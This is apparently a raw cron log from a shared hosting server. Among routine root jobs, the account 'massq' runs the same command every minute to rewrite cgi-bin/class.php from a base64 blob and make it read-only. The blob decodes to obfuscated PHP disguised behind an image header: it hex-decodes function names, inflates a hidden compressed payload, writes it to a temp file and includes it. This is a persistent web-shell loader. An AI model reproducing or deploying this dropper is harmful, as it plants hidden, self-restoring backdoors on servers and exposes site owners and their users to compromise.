Nov 12 19:14:01 server CROND[18665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:15:01 server CROND[19528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:15:01 server CROND[19530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:15:01 server CROND[19529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:16:01 server CROND[20444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:17:01 server CROND[21225]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:18:01 server CROND[21964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:19:01 server CROND[22821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:20:01 server CROND[23767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 19:20:01 server CROND[23768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:20:01 server CROND[23773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 19:20:01 server CROND[23780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:20:01 server CROND[23782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:21:01 server CROND[24725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:22:01 server CROND[25575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:23:01 server CROND[26435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:24:01 server CROND[27291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:25:01 server CROND[28214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:25:01 server CROND[28215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:25:01 server CROND[28216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:26:01 server CROND[29113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:27:01 server CROND[29995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
